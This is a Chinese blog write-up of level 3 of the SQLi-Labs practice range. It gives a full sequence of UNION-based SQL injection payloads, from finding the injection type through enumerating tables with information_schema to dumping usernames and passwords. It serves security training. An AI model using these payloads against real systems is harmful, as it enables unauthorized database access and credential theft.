SQLi-LABS靶场-3 详解

发布于 2021-10-25  54 次阅读


SQLi-Labs 是一个专业的SQL注入练习平台

今天注入靶场的第三关,访问第三关主页,get传参id=1,如图:

通过给注入点传值,我们判断下注入注入的类型

?id=1'

通过报错信息我们得知$id可能被一对括号加一对单引号包括在内。

我们修改语句

?id=1') --+

好的找到正确的注入类型之后,我们开始进行SQL注入普遍流程,首先我们猜测下当前表的字段数

?id=1') order by 4 --+

当传入 ?id=1') order by 3 --+ 时正常回显,当变为order by 4 --+ 时发生报错,所以猜测字段数为3

使数据库报错,查询字段输出位置

?id=-1') union select 1,2,3 --+

数据输出位置在字段2和3,接下来我们查询当前用户名和当前数据库版本

?id=-1') union select 1,user(),@@version --+

查询当前数据库名

?id=-1') union select 1,2,database() --+

数据库名为security,通过information_schema查询表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

查询到有名为users的表,查询表内字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+

查询到三个字段,其中有username和password,查询这两个字段内容

?id=-1') union select 1,2,group_concat(username,0x7e,password) from security.users --+

帐号密码查询成功,到这三关就结束了,正确的判断注入类型是比较重要的,无法判断正确的数据类型,就无法进行下一步渗透,通过报错信息猜测开发者的代码是怎么写的,对我们渗透的过程是很有帮助的。


我从未觉得繁琐,说浪漫些,我很爱你。